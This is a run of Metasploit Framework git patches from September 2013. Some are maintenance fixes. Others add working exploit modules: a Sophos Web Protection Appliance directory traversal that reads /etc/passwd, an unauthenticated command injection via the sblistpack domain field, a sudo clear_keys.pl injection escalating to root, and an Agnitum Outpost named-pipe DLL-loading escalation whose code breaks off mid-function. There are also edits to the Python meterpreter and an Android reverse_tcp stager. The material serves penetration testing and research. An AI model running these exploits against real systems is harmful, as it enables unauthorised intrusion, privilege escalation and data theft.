a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 12912d6e33..00ef277daa 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -15,6 +15,9 @@ module Exe @template = opts[:template] @arch = opts[:arch] || :x86 @buffer_register = opts[:buffer_register] || 'edx' + unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase) + raise ArgumentError, ":buffer_register is not a real register" + end end def processor diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index 5feef7592f..e5a4e9181a 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -35,6 +35,20 @@ describe Msf::Exe::SegmentInjector do injector.buffer_register.should == 'edx' end + context 'when given a non-default buffer register' do + let(:opts) do + option_hash = { + :template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"), + :payload => "\xd9\xeb\x9b\xd9\x74\x24", + :arch => :x86, + :buffer_register => 'eax' + } + end + it 'should use the correct buffer register' do + injector.buffer_register.should == 'eax' + end + end + it 'should set a buffer register for the payload' do injector.create_thread_stub.should include('lea edx, [thread_hook]') end From 80243c6e4d0233a185299544e944eb0317cb7f6a Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Mon, 9 Sep 2013 20:14:48 +0200 Subject: [PATCH 111/160] Disable default sorting on MSSQL results When printing output using the `mssql_print_reply`, the output gets sorted by default by the first column. This can distort the output, especially when the row order is crucial like in case of executing external commands with `mssql_xpcmdshell`. This patch disables sorting by initializing Rex::Ui::Text::Table with SortIndex = -1. --- lib/msf/core/exploit/mssql.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/mssql.rb b/lib/msf/core/exploit/mssql.rb index 92d07f427b..3c52a62774 100644 --- a/lib/msf/core/exploit/mssql.rb +++ b/lib/msf/core/exploit/mssql.rb @@ -694,9 +694,10 @@ module Exploit::Remote::MSSQL if(info[:rows] and not info[:rows].empty?) tbl = Rex::Ui::Text::Table.new( - 'Indent' => 1, - 'Header' => "", - 'Columns' => info[:colnames] + 'Indent' => 1, + 'Header' => "", + 'Columns' => info[:colnames], + 'SortIndex' => -1 ) info[:rows].each do |row| From ce769b0c78f0c8ce8f4eb9e59d4787ab11dd6580 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 9 Sep 2013 13:56:45 -0500 Subject: [PATCH 112/160] Add module for CVE-2013-2641 --- .../http/sophos_web_protection_traversal.rb | 128 ++++++++++++++++++ 1 file changed, 128 insertions(+) create mode 100644 modules/auxiliary/admin/http/sophos_web_protection_traversal.rb diff --git a/modules/auxiliary/admin/http/sophos_web_protection_traversal.rb b/modules/auxiliary/admin/http/sophos_web_protection_traversal.rb new file mode 100644 index 0000000000..7901a1d179 --- /dev/null +++ b/modules/auxiliary/admin/http/sophos_web_protection_traversal.rb @@ -0,0 +1,128 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'uri' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sophos Web Appliance patience.cgi Directory Traversal', + 'Description' => %q{ + This module abuses a directory traversal in Sophos Web Appliance, specifically on the + /cgi-bin/patience.cgi component. This module has been tested successfully on the Sophos + Web Virtual Appliance v3.7.0. + }, + 'Author' => + [ + 'Wolfgang Ettlingers', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2641' ], + [ 'OSVDB', '91953' ], + [ 'BID', '58833' ], + [ 'EDB', '24932' ], + [ 'URL', 'http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ], + [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ] + ], + 'DefaultOptions' => { + 'SSL' => true + }, + 'DisclosureDate' => 'Apr 03 2013')) + + register_options( + [ + Opt::RPORT(443), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']), + OptInt.new('DEPTH', [true, 'Traversal depth', 2]) + ], self.class) + end + + def my_basename(filename) + return ::File.basename(filename.gsub(/\\/, "/")) + end + + def is_proficy? + + res = send_request_cgi( + { + 'uri' => "/cgi-bin/patience.cgi", + 'method' => 'GET' + }) + + if res and res.code == 307 and res.body =~ /The patience page request was not valid/ + return true + else + return false + end + end + + def read_file(file) + travs = "" + travs << "../" * datastore['DEPTH'] + travs << file + travs << "%00" + + print_status("#{@peer} - Retrieving file contents...") + + res = send_request_cgi( + { + 'uri' => "/cgi-bin/patience.cgi", + 'method' => 'GET', + 'encode_params' => false, + 'vars_get' => { + 'id' => travs + } + }) + + + if res and (res.code == 200 or res.code == 500) and res.headers['X-Sophos-PatienceID'] + return res.body + else + print_status("#{res.code}\n#{res.body}") + return nil + end + + end + + def run + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Checking if it's a Sophos Web Protect Appliance with the vulnerable component...") + if is_proficy? + print_good("#{@peer} - Check successful") + else + print_error("#{@peer} - Sophos Web Protect Appliance vulnerable component not found") + return + end + + contents = read_file(datastore['FILEPATH']) + if contents.nil? + print_error("#{@peer} - File not downloaded") + return + end + + file_name = my_basename(datastore['FILEPATH']) + path = store_loot( + 'sophos.wpa.traversal', + 'application/octet-stream', + rhost, + contents, + file_name + ) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + + end + +end From 2252aee3986171fa3a2ad64b90ed02e06700b498 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 9 Sep 2013 14:02:28 -0500 Subject: [PATCH 113/160] Fix ltype on store_loot --- .../auxiliary/admin/scada/ge_proficy_substitute_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb index cbb688bcd6..33969e6bf3 100644 --- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -132,7 +132,7 @@ class Metasploit3 < Msf::Auxiliary file_name = my_basename(datastore['FILEPATH']) path = store_loot( - 'hp.imc.faultdownloadservlet', + 'ge.proficy.traversal', 'application/octet-stream', rhost, contents, From aff35a615b5ee6e5fc5fd63482aa9dd864721bde Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 9 Sep 2013 15:09:53 -0500 Subject: [PATCH 114/160] Grammar fixes in descriptions --- .../windows/http/hp_sitescope_runomagentcommand.rb | 2 +- modules/post/multi/escalate/cups_root_file_read.rb | 8 ++------ modules/post/windows/capture/lockout_keylogger.rb | 2 +- 3 files changed, 4 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index 88eb9e5f85..1bf5932715 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote The vulnerability exists on the opcactivate.vbs script, which is reachable from the APIBSMIntegrationImpl AXIS service, and uses WScript.Shell.run() to execute cmd.exe with user provided - data. Note which the opcactivate.vbs component is installed + data. Note that the opcactivate.vbs component is installed with the (optional) HP Operations Agent component. The module has been tested successfully on HP SiteScope 11.20 (with HP Operations Agent) over Windows 2003 SP2. diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 69043cc7c5..bb217c5263 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -23,12 +23,8 @@ class Metasploit3 < Msf::Post Error Log page in the web interface, the cupsd daemon (running with setuid root) reads the Error Log path and echoes it as plaintext. - This module is known to work on: - - - Mac OS X < 10.8.4 - - Ubuntu Desktop <= 12.0.4 - - ...as long as the session is in the lpadmin group. + This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4 + as long as the session is in the lpadmin group. Warning: if the user has set up a custom path to the CUPS error log, this module might fail to reset that path correctly. You can specify diff --git a/modules/post/windows/capture/lockout_keylogger.rb b/modules/post/windows/capture/lockout_keylogger.rb index d1d2c175f1..3109772ef0 100644 --- a/modules/post/windows/capture/lockout_keylogger.rb +++ b/modules/post/windows/capture/lockout_keylogger.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger', 'Description' => %q{ This module migrates and logs Microsoft Windows user's passwords via - Winlogon.exe. Using idle time and natural system changes to give a + Winlogon.exe using idle time and natural system changes to give a false sense of security to the user.}, 'License' => MSF_LICENSE, 'Author' => [ 'mubix', 'cg' ], From f73c18ccd9331a268bdf125d9443ffba0f8a3535 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 9 Sep 2013 16:44:47 -0500 Subject: [PATCH 115/160] Store the Array, not human-readable version [SeeRM #8389] --- modules/auxiliary/scanner/smb/smb_enumshares.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index a339ee099e..5161fbd88a 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -371,7 +371,7 @@ class Metasploit3 < Msf::Auxiliary :proto => 'tcp', :port => rport, :type => 'smb.shares', - :data => { :shares => shares.inspect }, + :data => { :shares => shares }, :update => :unique_data ) From baff3577e50bec98143930da1491b4959910b63b Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 9 Sep 2013 20:24:52 -0500 Subject: [PATCH 116/160] FixRM #8034 Pick a valid certificate expiration --- modules/payloads/stagers/android/reverse_tcp.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 34d586bedf..a073812469 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -74,7 +74,8 @@ module Metasploit3 # requirement. You can not upload an application if it is signed # with a key whose validity expires before that date. # """ - cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + # The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC + cert.not_after = Time.at( 0x78045d81 + ( 0x7fffffff - 0x78045d81 )) jar.sign(key, cert, [cert]) From 06f7abc552917bed4eb96d891402d042cd10c1a6 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 9 Sep 2013 20:26:11 -0500 Subject: [PATCH 117/160] Helps to put the rand() wrapper in --- modules/payloads/stagers/android/reverse_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index a073812469..c9d8e47561 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -75,7 +75,7 @@ module Metasploit3 # with a key whose validity expires before that date. # """ # The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC - cert.not_after = Time.at( 0x78045d81 + ( 0x7fffffff - 0x78045d81 )) + cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 )) jar.sign(key, cert, [cert]) From c3ff9a03d8559449f731c0a693629d8b6920f438 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 9 Sep 2013 23:26:10 -0500 Subject: [PATCH 118/160] Add module for CVE-2013-4983 --- .../linux/http/sophos_wpa_sblistpack_exec.rb | 117 ++++++++++++++++++ 1 file changed, 117 insertions(+) create mode 100644 modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb diff --git a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb new file mode 100644 index 0000000000..b9b0097b72 --- /dev/null +++ b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb @@ -0,0 +1,117 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sophos Web Protection Appliance sblistpack Arbitrary Command Execution', + 'Description' => %q{ + This module exploits a command injection vulnerability on Sophos Web Protection Appliance + 3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable + from the web interface without authentication. This module has been tested successfully + on Sophos Virtual Web Appliance 3.7.0. + }, + 'Author' => + [ + 'Francisco Falcon', # Vulnerability discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-4983' ], + [ 'OSVDB', '97028' ], + [ 'BID', '62263'], + [ 'EDB', '28175'], + [ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'BadChars' => "\x27\x22\x5c", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat-e' # Because quotes and double-quotes aren't valid + } + }, + 'Targets' => + [ + [ 'Sophos Web Protection Appliance 3.7.0', { }] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 06 2013' + )) + + register_options( + [ + Opt::RPORT(443) + ], + self.class + ) + + end + + def check + url = "http://www.#{rand_text_alpha(10 + rand(10))}.com" + domain = "http://#{rand_text_alpha(10 + rand(10))}.com" + res = send_exploit_query(url, domain) + + if res and res.code == 302 and res.headers.include?('Location') and res.headers['Location'] =~ /#{url}/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + def exploit + print_status("#{rhost}:#{rport} - Executing payload...") + url = "http://www.#{rand_text_alpha(10 + rand(10))}.com" + domain = "http://#{rand_text_alpha(10 + rand(10))}.com;#{payload.raw}" + # very short timeout because the request may never return if we're + # sending a socket payload + send_exploit_query(url, domain, 0.01) + end + + def send_exploit_query(url, domain, timeout = 20) + user = rand_text_alpha(8 + rand(5)) + res = send_request_cgi({ + 'uri' => normalize_uri('end-user', 'index.php'), + 'method' => 'POST', + 'vars_get' => { + 'c' =>'blocked', + 'action' => 'continue' + }, + 'vars_post' => { + 'url' => "#{Rex::Text.encode_base64(url)}", + 'args_reason' => rand_text_alpha(15 + rand(5)), + 'filetype' => rand_text_alpha(15 + rand(5)), + 'user' => user, + 'user_encoded' => "#{Rex::Text.encode_base64(user)}", + 'domain' => domain, + 'raw_category_id' => "#{rand_text_alpha(4 + rand(8))}|#{rand_text_alpha(4 + rand(8))}" + } + }, timeout) + + return res + end + +end From bf40dc02cef61e28cf72d3c1cf4697a633adb545 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 9 Sep 2013 23:27:24 -0500 Subject: [PATCH 119/160] Add module for CVE-2013-4984 --- .../linux/local/sophos_wpa_clear_keys.rb | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 modules/exploits/linux/local/sophos_wpa_clear_keys.rb diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb new file mode 100644 index 0000000000..0c36cd81e6 --- /dev/null +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -0,0 +1,103 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/linux/priv' +require 'msf/core/exploit/exe' + + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation Exploit', + 'Description' => %q{ + This module abuses a command injection on the clear_keys.pl perl script, installed with the + Sophos Web Protection Appliance, to escalate privileges from the "superman" user to "root". + This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection + Appliance web ui, executed by the "superman" user. This module has been tested successfully + on Sophos Virtual Web Appliance 3.7.0. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Francisco Falcon', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'Platform' => [ 'linux'], + 'Arch' => [ ARCH_X86 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]], + 'References' => + [ + [ 'CVE', '2013-4984' ], + [ 'OSVDB', '97028' ], + [ 'BID', '62265' ], + [ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities'] + ], + 'DefaultOptions' => + { + "PrependFork" => true, + "PrependSetresuid" => true, + "PrependSetresgid" => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 06 2013' + } + )) + + register_options([ + # These are not OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), + OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]), + ], self.class) + end + + def check + if file?(datastore["clear_keys"]) + return CheckCode::Detected + end + + return CheckCode::Unknown + end + + def exploit + print_status("Checking actual user...") + id = cmd_exec("id -un") + if id != "spiderman" + fail_with(Failure::NoAccess, "The actual user is \"#{id}\", you must be \"spiderman\" to exploit this") + end + + print_status("Checking for the vulnerable component...") + if check != CheckCode::Detected + fail_with(Failure::NoTarget, "The vulnerable component has not been found") + end + + print_status("Dropping the payload to #{datastore["WritableDir"]}") + exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf" + write_file(exe_file, generate_payload_exe) + + cmd_exec "chmod +x #{exe_file}" + + print_status("Running...") + begin + # rm the file after executing it to avoid getting multiple sessions + cmd_exec "sudo #{datastore["clear_keys"]} #{rand_text_alpha(4 + rand(4))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(4 + rand(4))}" + ensure + cmd_exec "rm -f #{exe_file}" + end + end +end + From 64348dc020795e259be663f4bb419663b10a9b89 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 9 Sep 2013 23:29:48 -0500 Subject: [PATCH 120/160] Update information --- .../admin/http/sophos_web_protection_traversal.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/http/sophos_web_protection_traversal.rb b/modules/auxiliary/admin/http/sophos_web_protection_traversal.rb index 7901a1d179..f0d731803b 100644 --- a/modules/auxiliary/admin/http/sophos_web_protection_traversal.rb +++ b/modules/auxiliary/admin/http/sophos_web_protection_traversal.rb @@ -15,11 +15,11 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Sophos Web Appliance patience.cgi Directory Traversal', + 'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal', 'Description' => %q{ - This module abuses a directory traversal in Sophos Web Appliance, specifically on the - /cgi-bin/patience.cgi component. This module has been tested successfully on the Sophos - Web Virtual Appliance v3.7.0. + This module abuses a directory traversal in Sophos Web Protection Appliance, specifically + on the /cgi-bin/patience.cgi component. This module has been tested successfully on the + Sophos Web Virtual Appliance v3.7.0. }, 'Author' => [ From 02a073a8fe1d956ff65d4b4a90029ee80161bb82 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 9 Sep 2013 23:30:37 -0500 Subject: [PATCH 121/160] Change module filename --- ...sophos_web_protection_traversal.rb => sophos_wpa_traversal.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/admin/http/{sophos_web_protection_traversal.rb => sophos_wpa_traversal.rb} (100%) diff --git a/modules/auxiliary/admin/http/sophos_web_protection_traversal.rb b/modules/auxiliary/admin/http/sophos_wpa_traversal.rb similarity index 100% rename from modules/auxiliary/admin/http/sophos_web_protection_traversal.rb rename to modules/auxiliary/admin/http/sophos_wpa_traversal.rb From 4f1db80c244888ed81a5a92fb1a1e344f9d05846 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 10 Sep 2013 11:13:07 -0500 Subject: [PATCH 122/160] Fix requires in new post modules --- modules/exploits/windows/local/ikeext_service.rb | 2 ++ modules/post/multi/escalate/cups_root_file_read.rb | 4 ++++ 2 files changed, 6 insertions(+) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 626a8f24f3..f82ba28c0c 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -9,6 +9,8 @@ require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/accounts' +require 'msf/core/post/file' class Metasploit3 < Msf::Exploit::Local Rank = GoodRanking diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index bb217c5263..cbf242354c 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -5,6 +5,10 @@ # http://metasploit.com/ ## +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/file' + class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Common From e3e2c69de164208686241fc903ef6a635f1493d9 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 10 Sep 2013 15:06:33 -0400 Subject: [PATCH 123/160] Fix additional issues in the python meterpreter. --- data/meterpreter/ext_server_stdapi.py | 26 +++++++++++++++++--------- data/meterpreter/meterpreter.py | 13 +++++++++---- 2 files changed, 26 insertions(+), 13 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index a1cf7de5b4..98b1c235d0 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response): @meterpreter.register_function def stdapi_fs_file_expand_path(request, response): path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - if path_tlv == '%COMSPEC%': - if platform.system() == 'Windows': - result = 'cmd.exe' - else: - result = '/bin/sh' - elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows': + if has_windll: + path_out = (ctypes.c_char * 4096)() + path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out)) + result = ''.join(path_out)[:path_out_len] + elif path_tlv == '%COMSPEC%': + result = '/bin/sh' + elif path_tlv in ['%TEMP%', '%TMP%']: result = '/tmp' else: - result = os.getenv(path_tlv) + result = os.getenv(path_tlv, path_tlv) if not result: return ERROR_FAILURE, response response += tlv_pack(TLV_TYPE_FILE_PATH, result) return ERROR_SUCCESS, response +@meterpreter.register_function +def stdapi_fs_file_move(request, response): + oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'] + newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] + os.rename(oldname, newname) + return ERROR_SUCCESS, response + @meterpreter.register_function def stdapi_fs_getwd(request, response): response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd()) @@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response): m = hashlib.md5() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest()) + response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) return ERROR_SUCCESS, response @meterpreter.register_function @@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response): m = hashlib.sha1() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest()) + response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) return ERROR_SUCCESS, response @meterpreter.register_function diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index b81415a0a7..59bd457271 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread): self.data_lock.acquire() self.data += byte self.data_lock.release() + data = self.std.read() self.data_lock.acquire() - self.data += self.std.read() + self.data += data self.data_lock.release() def is_read_ready(self): @@ -208,7 +209,7 @@ class PythonMeterpreter(object): def run(self): while self.running: - if len(select.select([self.socket], [], [], 0)[0]): + if len(select.select([self.socket], [], [], 0.5)[0]): request = self.socket.recv(8) if len(request) != 8: break @@ -391,13 +392,17 @@ class PythonMeterpreter(object): reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) resp += tlv_pack(reqid_tlv) - if method_tlv['value'] in self.extension_functions: - handler = self.extension_functions[method_tlv['value']] + handler_name = method_tlv['value'] + if handler_name in self.extension_functions: + handler = self.extension_functions[handler_name] try: + #print("[*] running method {0}".format(handler_name)) result, resp = handler(request, resp) except Exception, err: + #print("[-] method {0} resulted in an error".format(handler_name)) result = ERROR_FAILURE else: + #print("[-] method {0} was requested but does not exist".format(handler_name)) result = ERROR_FAILURE resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp From 825eb9d1ca528c8b0873041981d035463a7e91c6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 11 Sep 2013 00:11:00 -0500 Subject: [PATCH 124/160] Add module for OSVDB 96208 --- .../windows/local/agnitum_outpost_acs.rb | 179 ++++++++++++++++++ 1 file changed, 179 insertions(+) create mode 100644 modules/exploits/windows/local/agnitum_outpost_acs.rb diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb new file mode 100644 index 0000000000..1d5a0df630 --- /dev/null +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -0,0 +1,179 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/process' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation', + 'Description' => %q{ + This module exploits a directory traversal vulnerability on Agnitum Outpost Internet + Security 8.1. The vulnerability exists on the acs.exe component, allowing the user to load + load arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary + code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with + Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ahmad Moghimi', # Vulnerability discovery + 'juan vazquez' # MSF module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'Privileged' => true, + 'Targets' => + [ + [ 'Agnitum Outpost Internet Security 8.1', { } ], + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'References' => + [ + [ 'OSVDB', '96208' ], + [ 'EDB', '27282' ], + [ 'URL', 'http://mallocat.com/a-journey-to-antivirus-escalation/' ] + ], + 'DisclosureDate' => 'Aug 02 2013', + 'DefaultTarget' => 0 + })) + + register_options([ + # It is OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]), + # By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\ + OptInt.new("DEPTH", [ true, "Traversal depth", 3 ]) + ], self.class) + + + end + + def junk(n=4) + return rand_text_alpha(n).unpack("V").first + end + + def open_named_pipe(pipe) + invalid_handle_value = 0xFFFFFFFF + + r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0) + + handle = r['return'] + + if handle == invalid_handle_value + return nil + end + + return handle + end + + def write_named_pipe(handle, dll_path, dll_name) + + traversal_path = "..\\" * datastore["DEPTH"] + traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "") + traversal_path << "\\#{dll_name}" + + path = Rex::Text.to_unicode(traversal_path) + + data = "\x00" * 0x11 + data << path + data << "\x00\x00" + data << 